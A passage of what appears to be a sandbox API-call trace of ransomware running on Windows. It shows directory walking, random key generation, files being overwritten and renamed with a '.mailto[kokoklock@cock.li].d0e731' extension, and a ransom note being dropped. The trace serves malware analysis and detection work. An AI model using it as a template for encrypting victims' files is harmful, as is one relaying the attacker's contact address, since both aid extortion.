RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0173.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b210) returned 1 [0173.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b190) returned 1 [0173.652] RtlExitUserThread (Status=0x0) Thread: id = 2173 os_tid = 0x12dc [0173.654] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.656] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.656] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.656] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2ef8) returned 1 [0173.657] RtlExitUserThread (Status=0x0) Thread: id = 2174 os_tid = 0x12e0 [0173.658] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.659] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.659] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0173.659] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x1aeffb94 | out: lpFileSize=0x1aeffb94*=15164) returned 1 [0173.659] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x3b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.659] ReadFile (in: hFile=0x404, lpBuffer=0x1aeffb68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x1aeffb68*, lpNumberOfBytesRead=0x1aeffb64*=0x4, lpOverlapped=0x0) returned 1 [0173.661] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053dd0 [0173.661] NtQuerySystemTime (in: CurrentTime=0x1aeffb40 | out: CurrentTime=0x1aeffb40*=132121213309826803) returned 0x0 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xb020b82d [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x3577f471 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xe1b2f1a7 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xa2277d12 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x8be36367 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x5b66d3bf [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xa415c5d5 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x44a0c86a [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x8a31d537 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xc793701c [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xd22bca24 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x4507af76 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x34689420 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xe870aff1 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x90d798c4 [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x69cd7e7e [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xefe938fd [0173.661] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xe53d2a3e [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x30cc9c6d [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x2ad3e7f3 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x493793fd [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x16643048 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x5b282b72 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x87d843f4 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x8e58747e [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xe25f6ebf [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x3065606c [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xb72321c7 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xde03f70b [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xf84e31e [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0x73008df6 [0173.662] RtlRandom (in: Seed=0x1aeffb4c | out: Seed=0x1aeffb4c) returned 0xdf7c5162 [0173.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0173.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0173.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.673] ReadFile (in: hFile=0x404, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x1aeffb40, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1aeffb40*=0x3b3c, lpOverlapped=0x0) returned 1 [0173.674] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1aeffb08 | out: lpNewFilePointer=0x0) returned 1 [0173.674] WriteFile (in: hFile=0x404, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x3b3c, lpNumberOfBytesWritten=0x1aeffb3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1aeffb3c*=0x3b3c, lpOverlapped=0x0) returned 1 [0173.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1aeffb38, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x1aeffb38*=0x20, lpOverlapped=0x0) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x1aeffb64*=0x8, lpOverlapped=0x0) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x1aeffb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x1aeffb7c*, lpNumberOfBytesWritten=0x1aeffb64*=0x4, lpOverlapped=0x0) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1aeffb64*=0x4, lpOverlapped=0x0) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1aeffb64*=0x6c, lpOverlapped=0x0) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x1aeffb64*=0x20, lpOverlapped=0x0) returned 1 [0173.675] WriteFile (in: hFile=0x404, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1aeffb64, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1aeffb64*=0x4, lpOverlapped=0x0) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0173.676] CloseHandle (hObject=0x404) returned 1 [0173.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f984f0 [0173.676] wcscpy (in: _Dest=0x2f984f0, _Source="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" [0173.676] wcscat (in: _Dest=0x2f984f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.677] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 0 [0173.677] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984f0) returned 1 [0173.677] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f67db0 [0173.677] wcscpy (in: _Dest=0x2f67db0, _Source="C:\\Users\\All Users\\Microsoft\\MF\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0173.677] wcscat (in: _Dest=0x2f67db0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" [0173.677] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\d0e731-readme.txt")) returned 0x20 [0173.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67db0) returned 1 [0173.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee198) returned 1 [0173.677] RtlExitUserThread (Status=0x1) Thread: id = 2175 os_tid = 0x12e4 [0173.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87a28 [0173.679] wcscpy (in: _Dest=0x2f87a28, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" [0173.679] wcscat (in: _Dest=0x2f87a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\" [0173.679] wcscat (in: _Dest=0x2f87a28, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*" [0173.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0173.679] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffa0 [0173.679] wcscmp (_String1=".", _String2=".") returned 0 [0173.679] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.679] wcscmp (_String1="..", _String2=".") returned 1 [0173.679] wcscmp (_String1="..", _String2="..") returned 0 [0173.679] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0173.679] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1 [0173.679] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1 [0173.680] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0 [0173.680] FindClose (in: hFindFile=0x2f7ffa0 | out: hFindFile=0x2f7ffa0) returned 1 [0173.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0173.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a28) returned 1 [0173.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87b60) returned 1 [0173.680] RtlExitUserThread (Status=0x0) Thread: id = 2176 os_tid = 0x12e8 [0173.681] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30132d8 [0173.681] wcscpy (in: _Dest=0x30132d8, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0173.681] wcscat (in: _Dest=0x30132d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\" [0173.681] wcscat (in: _Dest=0x30132d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*" [0173.681] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0173.681] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0173.681] wcscmp (_String1=".", _String2=".") returned 0 [0173.682] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.682] wcscmp (_String1="..", _String2=".") returned 1 [0173.682] wcscmp (_String1="..", _String2="..") returned 0 [0173.682] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0173.682] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1 [0173.682] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1 [0173.682] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0173.682] wcscmp (_String1="temp", _String2=".") returned 1 [0173.682] wcscmp (_String1="temp", _String2="..") returned 1 [0173.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2f8b590 [0173.682] wcscpy (in: _Dest=0x2f8b590, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0173.682] wcscat (in: _Dest=0x2f8b590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\" [0173.682] wcscat (in: _Dest=0x2f8b590, _Source="temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" [0173.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0173.994] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0173.994] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0173.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0173.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f64430) returned 1 [0173.995] RtlExitUserThread (Status=0x0) Thread: id = 2177 os_tid = 0x12ec [0173.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f67db0 [0173.682] wcscpy (in: _Dest=0x2f67db0, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0173.682] wcscat (in: _Dest=0x2f67db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0173.682] wcscat (in: _Dest=0x2f67db0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*" [0173.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0173.683] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffa0 [0173.683] wcscmp (_String1=".", _String2=".") returned 0 [0173.683] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.683] wcscmp (_String1="..", _String2=".") returned 1 [0173.683] wcscmp (_String1="..", _String2="..") returned 0 [0173.683] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 